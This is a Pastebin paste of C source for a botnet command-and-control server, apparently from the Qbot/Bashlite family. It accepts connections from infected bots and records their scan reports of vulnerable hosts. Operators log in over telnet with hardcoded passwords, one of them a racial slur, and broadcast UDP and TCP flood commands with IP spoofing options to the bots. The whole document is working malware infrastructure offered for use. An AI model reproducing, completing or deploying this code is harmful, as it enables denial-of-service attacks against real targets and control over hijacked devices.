Advertisement
Guest User

Untitled

a guest
Apr 1st, 2016
114
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 24.26 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <sys/types.h>
  5. #include <sys/socket.h>
  6. #include <netdb.h>
  7. #include <unistd.h>
  8. #include <time.h>
  9. #include <fcntl.h>
  10. #include <sys/epoll.h>
  11. #include <errno.h>
  12. #include <pthread.h>
  13. #include <signal.h>
  14.  
  15. #define MY_MGM_ADMINP "niggers"
  16. #define MY_MGM_ADMINU "admin"
  17. #define MY_MGM_MATENP "bleach"
  18. #define MY_MGM_MATENU "Ster0"
  19. #define MY_MGM_USERP "zot"
  20. #define MY_MGM_USERU "Maxime"
  21. #define MY_MGM_GUESTP "bitch"
  22. #define MY_MGM_GUESTU "Guest"
  23. #define MY_MGM_PORT 1
  24.  
  25. #define MAXFDS 1000000
  26. char MY_USER_ADMIN=0, MY_USER_USER=0, MY_USER_MATEN=0, MY_USER_GUEST=0;
  27. struct clientdata_t {
  28. uint32_t ip;
  29. char build[7];
  30. char connected;
  31. } clients[MAXFDS];
  32. struct telnetdata_t {
  33. int connected;
  34. } managements[MAXFDS];
  35. static volatile FILE *fileFD;
  36. static volatile int epollFD = 0;
  37. static volatile int listenFD = 0;
  38. static volatile int managesConnected = 0;
  39. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  40. {
  41. int total = 0, got = 1;
  42. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  43. return got;
  44. }
  45. void trim(char *str) // Remove whitespace from a string and properly null-terminate it.
  46. {
  47. int i;
  48. int begin = 0;
  49. int end = strlen(str) - 1;
  50. while (isspace(str[begin])) begin++;
  51. while ((end >= begin) && isspace(str[end])) end--;
  52. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  53. str[i - begin] = '\0';
  54. }
  55.  
  56.  
  57. static int make_socket_non_blocking (int sfd)
  58. { // man fcntl
  59. int flags, s;
  60. flags = fcntl (sfd, F_GETFL, 0);
  61. if (flags == -1)
  62. {
  63. perror ("fcntl");
  64. return -1;
  65. }
  66. flags |= O_NONBLOCK;
  67. /*
  68. F_SETFL (int)
  69. Set the file status flags to the value specified by arg. File access mode (O_RDONLY, O_WRONLY, O_RDWR) and file creation flags (i.e., O_CREAT, O_EXCL, O_NOCTTY, O_TRUNC) in arg are
  70. ignored. On Linux this command can change only the O_APPEND, O_ASYNC, O_DIRECT, O_NOATIME, and O_NONBLOCK flags.
  71. */
  72. s = fcntl (sfd, F_SETFL, flags);
  73. if (s == -1)
  74. {
  75. perror ("fcntl");
  76. return -1;
  77. }
  78. return 0;
  79. }
  80.  
  81.  
  82. static int create_and_bind (char *port)
  83. {
  84. struct addrinfo hints;
  85. struct addrinfo *result, *rp;
  86. int s, sfd;
  87. memset (&hints, 0, sizeof (struct addrinfo));
  88. hints.ai_family = AF_UNSPEC; /* Return IPv4 and IPv6 choices */
  89. hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
  90. hints.ai_flags = AI_PASSIVE; /* All interfaces */
  91. s = getaddrinfo (NULL, port, &hints, &result);
  92. if (s != 0)
  93. {
  94. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  95. return -1;
  96. }
  97. for (rp = result; rp != NULL; rp = rp->ai_next)
  98. {
  99. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  100. if (sfd == -1) continue;
  101. int yes = 1;
  102. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  103. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  104. if (s == 0)
  105. {
  106. break;
  107. }
  108. close (sfd);
  109. }
  110. if (rp == NULL)
  111. {
  112. fprintf (stderr, "Could not bind\n");
  113. return -1;
  114. }
  115. freeaddrinfo (result);
  116. return sfd;
  117. }
  118. void broadcast(char *msg, int us, char *username) // sends message to all bots, notifies the management clients of this happening
  119. {
  120. int sendMGM = 1;
  121. if(strcmp(msg, "PING") == 0) sendMGM = 0; // Don't send pings to management. Why? Because a human is going to ignore it.
  122. char *wot = malloc(strlen(msg) + 10);
  123. memset(wot, 0, strlen(msg) + 10);
  124. strcpy(wot, msg);
  125. trim(wot);
  126. time_t rawtime;
  127. struct tm * timeinfo;
  128. time(&rawtime);
  129. timeinfo = localtime(&rawtime);
  130. char *timestamp = asctime(timeinfo);
  131. trim(timestamp);
  132. int i;
  133. for(i = 0; i < MAXFDS; i++)
  134. {
  135. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  136. if(sendMGM && managements[i].connected)
  137.  
  138. {
  139.  
  140. send(i, "\x1b[38;5;88m", 11, MSG_NOSIGNAL);
  141.  
  142. send(i, username, strlen(username), MSG_NOSIGNAL);
  143.  
  144. send(i, ":\x1b[37m ", 8, MSG_NOSIGNAL);
  145.  
  146. } //just a prompt with a timestamp.
  147. printf("sent to fd: %d\n", i); // debug info, possibly also intrusion detection. Tells you when a management client connected on command line.
  148. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  149. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[31m~$ \x1b[37m", 16, MSG_NOSIGNAL); // send a cool looking prompt to a manager/admin
  150. else send(i, "\n", 1, MSG_NOSIGNAL);
  151. }
  152. free(wot);
  153. }
  154.  
  155. void *epollEventLoop(void *useless) // the big loop used to control each bot asynchronously. Many threads of this get spawned.
  156. {
  157. struct epoll_event event;
  158. struct epoll_event *events;
  159. int s;
  160. events = calloc (MAXFDS, sizeof event);
  161. while (1)
  162. {
  163. int n, i;
  164. n = epoll_wait (epollFD, events, MAXFDS, -1);
  165. for (i = 0; i < n; i++)
  166. {
  167. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  168. {
  169. clients[events[i].data.fd].connected = 0;
  170. close(events[i].data.fd);
  171. continue;
  172. }
  173. else if (listenFD == events[i].data.fd)
  174. {
  175. while (1)
  176. {
  177. struct sockaddr in_addr;
  178. socklen_t in_len;
  179. int infd, ipIndex;
  180.  
  181. in_len = sizeof in_addr;
  182. infd = accept (listenFD, &in_addr, &in_len); // accept a connection from a bot.
  183. if (infd == -1)
  184. {
  185. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  186. else
  187. {
  188. perror ("accept");
  189. break;
  190. }
  191. }
  192.  
  193. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  194.  
  195. int dup = 0;
  196. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) // check for duplicate clients by seeing if any have the same IP as the one connecting
  197. {
  198. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  199.  
  200. if(clients[ipIndex].ip == clients[infd].ip)
  201. {
  202. dup = 1;
  203. break;
  204. }
  205. }
  206.  
  207. if(dup)
  208. {
  209. printf("dup client\n"); // warns the operator on command line
  210. if(send(infd, "!* by0u3h9r2f\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; } // orders all the bots to immediately kill themselves if we see a duplicate client! MAXIMUM PARANOIA
  211. if(send(infd, "DUP\n", 4, MSG_NOSIGNAL) == -1) { close(infd); continue; } // same thing as above.
  212. close(infd);
  213. continue;
  214. }
  215.  
  216. s = make_socket_non_blocking (infd);
  217. if (s == -1) { close(infd); break; }
  218.  
  219. event.data.fd = infd;
  220. event.events = EPOLLIN | EPOLLET;
  221. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  222. if (s == -1)
  223. {
  224. perror ("epoll_ctl");
  225. close(infd);
  226. break;
  227. }
  228.  
  229. clients[infd].connected = 1;
  230. }
  231. continue;
  232. }
  233. else
  234. {
  235. int thefd = events[i].data.fd;
  236. struct clientdata_t *client = &(clients[thefd]);
  237. int done = 0;
  238. client->connected = 1;
  239. while (1)
  240. {
  241. ssize_t count;
  242. char buf[2048];
  243. memset(buf, 0, sizeof buf);
  244.  
  245. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  246. {
  247. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  248. trim(buf);
  249. if(strcmp(buf, "PING") == 0) // basic IRC-like ping/pong challenge/response to see if server is alive
  250. {
  251. if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
  252. continue;
  253. }
  254. if(strstr(buf, "BUILD ") == buf)
  255. {
  256. char *build = strstr(buf, "BUILD ") + 6;
  257. if(strlen(build) > 6) { printf("build bigger then 6\n"); done = 1; break; }
  258. memset(client->build, 0, 7);
  259. strcpy(client->build, build);
  260. continue;
  261. }
  262. if(strstr(buf, "REPORT ") == buf) // received a report of a vulnerable system from a scan
  263. {
  264. char *line = strstr(buf, "REPORT ") + 7;
  265. fprintf(fileFD, "%s\n", line); // let's write it out to disk without checking what it is!
  266. fflush(fileFD);
  267. //TODO: automatically exploit that particular IP after scanning for dir and uploading correct arch stuffs.
  268. continue;
  269. }
  270. if(strcmp(buf, "PONG") == 0)
  271. {
  272. //should really add some checking or something but meh
  273. continue;
  274. }
  275.  
  276. printf("buf: \"%s\"\n", buf);
  277. }
  278.  
  279. if (count == -1)
  280. {
  281. if (errno != EAGAIN)
  282. {
  283. done = 1;
  284. }
  285. break;
  286. }
  287. else if (count == 0)
  288. {
  289. done = 1;
  290. break;
  291. }
  292. }
  293.  
  294. if (done)
  295. {
  296. client->connected = 0;
  297. close(thefd);
  298. }
  299. }
  300. }
  301. }
  302. }
  303.  
  304. unsigned int clientsConnected() // counts the number of bots connected by looping over every possible file descriptor and checking if it's connected or not
  305. {
  306. int i = 0, total = 0;
  307. for(i = 0; i < MAXFDS; i++)
  308. {
  309. if(!clients[i].connected) continue;
  310. total++;
  311. }
  312.  
  313. return total;
  314. }
  315.  
  316. void *titleWriter(void *sock) // just an informational banner
  317. {
  318. // this LOOKS vulnerable, but it's actually not.
  319. // there's no way we can have 2000 digits' worth of clients/bots connected to overflow that char array
  320. int thefd = (int)sock;
  321. char string[2048];
  322. while(1)
  323. {
  324. memset(string, 0, 2048);
  325. sprintf(string, "%c]0;Bots connected: %d | Users connected: %d%c", '\033', clientsConnected(), managesConnected, '\007');
  326. // \007 is a bell character... causes a beep. Why is there a beep here?
  327. if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  328.  
  329. sleep(2);
  330. }
  331. }
  332.  
  333.  
  334. void *telnetWorker(void *sock)
  335. {
  336. int thefd = (int)sock;
  337. managesConnected++;
  338. pthread_t title;
  339. char buf[2048];
  340. char* nickstring;
  341. memset(buf, 0, sizeof buf);
  342. char username[80];
  343. char status=0;
  344.  
  345. if(send(thefd, "\x1b[39mUsername:\x1b[30m ", 20, MSG_NOSIGNAL) == -1) goto end;
  346. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  347. trim(buf);
  348. nickstring = ("%s", buf);
  349. if(strcmp(nickstring, MY_MGM_ADMINU) == 0){
  350. if(send(thefd, "\x1b[39mPassword:\x1b[30m ", 20, MSG_NOSIGNAL) == -1) goto end;
  351. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  352. trim(buf);
  353. if(strcmp(buf, MY_MGM_ADMINP) != 0) goto failed;
  354. memset(buf, 0, 2048);
  355. sprintf(username, MY_MGM_ADMINU);
  356. if(MY_USER_ADMIN==1) goto inuse;
  357. MY_USER_ADMIN=1;
  358. status=1;
  359. goto fak;
  360. }
  361. else if(strcmp(nickstring, MY_MGM_USERU) == 0){
  362. if(send(thefd, "\x1b[39mPassword:\x1b[30m ", 20, MSG_NOSIGNAL) == -1) goto end;
  363. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  364. trim(buf);
  365. if(strcmp(buf, MY_MGM_USERP) != 0) goto failed;
  366. memset(buf, 0, 2048);
  367. sprintf(username, MY_MGM_USERU);
  368. if(MY_USER_USER==1) goto inuse;
  369. MY_USER_USER=1;
  370. status=2;
  371. goto fak;
  372. }
  373. else if(strcmp(nickstring, MY_MGM_MATENU) == 0){
  374. if(send(thefd, "\x1b[39mPassword:\x1b[30m ", 20, MSG_NOSIGNAL) == -1) goto end;
  375. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  376. trim(buf);
  377. if(strcmp(buf, MY_MGM_MATENP) != 0) goto failed;
  378. memset(buf, 0, 2048);
  379. sprintf(username, MY_MGM_MATENU);
  380. if(MY_USER_MATEN==1) goto inuse;
  381. MY_USER_MATEN=1;
  382. status=3;
  383. goto fak;
  384. }
  385. else if(strcmp(nickstring, MY_MGM_GUESTU) == 0){
  386. if(send(thefd, "\x1b[39mPassword:\x1b[30m ", 20, MSG_NOSIGNAL) == -1) goto end;
  387. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  388. trim(buf);
  389. if(strcmp(buf, MY_MGM_GUESTP) != 0) goto failed;
  390. memset(buf, 0, 2048);
  391. sprintf(username, MY_MGM_GUESTU);
  392. if(MY_USER_GUEST==1) goto inuse;
  393. MY_USER_GUEST=1;
  394. status=4;
  395. goto fak;
  396. }
  397. else if(strcmp(nickstring, MY_MGM_GUESTU) != 0 || strcmp(nickstring, MY_MGM_ADMINU) != 0 || strcmp(nickstring, MY_MGM_USERU) != 0 || strcmp(nickstring, MY_MGM_MATENU) != 0 ){
  398. if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  399. if(send(thefd, "\x1b[39mAcces denied\r\n", 24, MSG_NOSIGNAL) == -1) goto end;
  400. goto end;
  401. }
  402. failed:
  403. if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  404. if(send(thefd, "\x1b[39mAcces denied\r\n", 24, MSG_NOSIGNAL) == -1) goto end;
  405. goto end;
  406. fak:
  407.  
  408. if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  409. pthread_create(&title, NULL, &titleWriter, sock); /* writes the informational banner to the admin after a login */
  410. if(send(thefd, "\033[H\033[J\x1b[31m===============================\r\n", 48, MSG_NOSIGNAL) == -1) goto end;
  411. if(send(thefd, "| \x1b[37mWELCOME TO THE BOTNET\x1b[31m |\r\n", 45, MSG_NOSIGNAL) == -1) goto end;
  412. if(send(thefd, "===============================\r\n\r\n\x1b[31m~$ \x1b[37m", 49, MSG_NOSIGNAL) == -1) goto end;
  413. /* If we can't send the useless banner, kill ourselves! Amazing error handling! */
  414. managements[thefd].connected = 1;
  415. while(fdgets(buf, sizeof buf, thefd) > 0)
  416. {
  417. trim(buf);
  418. if(strncmp(buf, "HELP", 5) == 0){
  419. char buffer[2048];
  420. memset(buffer, 0, 2048);
  421. sprintf(buffer, "UDP, TCP, STOP, CLEAR, HELP\r\n");
  422. send(thefd, buffer, strlen(buffer), MSG_NOSIGNAL);
  423. memset(buf, 0, 2048);
  424. printf("management: \"%s\"\n", buf);
  425. }
  426. if(strncmp(buf, "UDP", 5) == 0){
  427. char buffer[2048];
  428. memset(buffer, 0, 2048);
  429. sprintf(buffer, "Usage: !* UDP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <packet size (1 to 65500)> (time poll interval, default 10)\r\n");
  430. send(thefd, buffer, strlen(buffer), MSG_NOSIGNAL);
  431. memset(buf, 0, 2048);
  432. printf("management: \"%s\"\n", buf);
  433. }
  434. if(strncmp(buf, "TCP", 5) == 0){
  435. char buffer[2048];
  436. memset(buffer, 0, 2048);
  437. sprintf(buffer, "Usage: !* TCP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <flags (syn, ack, psh, rst, fin, all) comma seperated> (packet size, usually 0) (time poll interval, default 10)\r\n");
  438. send(thefd, buffer, strlen(buffer), MSG_NOSIGNAL);
  439. memset(buf, 0, 2048);
  440. printf("management: \"%s\"\n", buf);
  441. }
  442. if(strncmp(buf, "STOP", 5) == 0){
  443. char buffer[2048];
  444. memset(buffer, 0, 2048);
  445. broadcast("!* STOP", thefd, username);
  446. send(thefd, buffer, strlen(buffer), MSG_NOSIGNAL);
  447. memset(buf, 0, 2048);
  448. printf("management: \"%s\"\n", buf);
  449. }
  450. if(strncmp(buf, "CLEAR", 5) == 0){
  451. char buffer[2048];
  452. memset(buffer, 0, 2048);
  453. goto fak;
  454. send(thefd, buffer, strlen(buffer), MSG_NOSIGNAL);
  455. memset(buf, 0, 2048);
  456. printf("management: \"%s\"\n", buf);
  457. }
  458. if(send(thefd, "\x1b[31m~$ \x1b[37m", 13, MSG_NOSIGNAL) == -1) goto end;
  459. if(strlen(buf) == 0) continue;
  460. printf("management: \"%s\"\n", buf);
  461. broadcast(buf, thefd, username); // take a command, send it to the bots
  462. memset(buf, 0, 2048);
  463. }
  464.  
  465. inuse:
  466. if(send(thefd, "\x1b[39mUser has already been logged in\r\n", 43, MSG_NOSIGNAL) == -1) goto end;
  467. goto end;
  468.  
  469. managements[thefd].connected = 1;
  470.  
  471. end: // cleanup dead socket
  472. if(status==1){
  473. MY_USER_ADMIN=0;
  474. }
  475. if(status==2){
  476. MY_USER_USER=0;
  477. }
  478. if(status==3){
  479. MY_USER_MATEN=0;
  480. }
  481. if(status==4){
  482. MY_USER_GUEST=0;
  483. }
  484.  
  485. //char MY_USER_ADMIN=0, MY_USER_USER=0, MY_USER_MATEN=0, MY_USER_GUEST=0; -> here for a reminder
  486.  
  487. managements[thefd].connected = 0;
  488. close(thefd);
  489. managesConnected--;
  490. }
  491.  
  492. void *telnetListener(void *useless)
  493. {
  494. int sockfd, newsockfd;
  495. socklen_t clilen;
  496. struct sockaddr_in serv_addr, cli_addr;
  497. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  498. if (sockfd < 0) perror("ERROR opening socket");
  499. bzero((char *) &serv_addr, sizeof(serv_addr));
  500. serv_addr.sin_family = AF_INET;
  501. serv_addr.sin_addr.s_addr = INADDR_ANY;
  502. serv_addr.sin_port = htons(MY_MGM_PORT);
  503. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  504. listen(sockfd,5);
  505. clilen = sizeof(cli_addr);
  506. while(1)
  507. {
  508. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  509. if (newsockfd < 0) perror("ERROR on accept");
  510. pthread_t thread;
  511. pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
  512. }
  513. }
  514.  
  515. int main (int argc, char *argv[])
  516. {
  517. signal(SIGPIPE, SIG_IGN); // ignore broken pipe errors sent from kernel
  518.  
  519. int s, threads;
  520. struct epoll_event event;
  521.  
  522. if (argc != 3)
  523. {
  524. fprintf (stderr, "Usage: %s [port] [threads]\n", argv[0]);
  525. exit (EXIT_FAILURE);
  526. }
  527. threads = atoi(argv[2]);
  528.  
  529. listenFD = create_and_bind (argv[1]); // try to create a listening socket, die if we can't
  530. if (listenFD == -1) abort ();
  531.  
  532. s = make_socket_non_blocking (listenFD); // try to make it nonblocking, die if we can't
  533. if (s == -1) abort ();
  534.  
  535.  
  536. s = listen (listenFD, SOMAXCONN); // listen with a huuuuge backlog, die if we can't
  537. if (s == -1)
  538. {
  539. perror ("listen");
  540. abort ();
  541. }
  542.  
  543. epollFD = epoll_create1 (0); // make an epoll listener, die if we can't
  544. if (epollFD == -1)
  545. {
  546. perror ("epoll_create");
  547. abort ();
  548. }
  549.  
  550. event.data.fd = listenFD;
  551. event.events = EPOLLIN | EPOLLET;
  552. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  553. if (s == -1)
  554. {
  555. perror ("epoll_ctl");
  556. abort ();
  557. }
  558.  
  559. pthread_t thread[threads + 2];
  560. while(threads--)
  561. {
  562. pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL); // make a thread to command each bot individually
  563. }
  564.  
  565. pthread_create(&thread[0], NULL, &telnetListener, (void *)NULL);
  566.  
  567. while(1)
  568. {
  569. broadcast("PING", -1, "Tits");
  570. broadcast("!* SH kill -9 $(pidof ./busybox) && kill -9 ./busybox", -1, "Tits1"); // killing PID of ./busybox - attempting kill after anyway to ensure processed
  571. sleep(60);
  572. }
  573.  
  574. close (listenFD);
  575.  
  576. return EXIT_SUCCESS;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement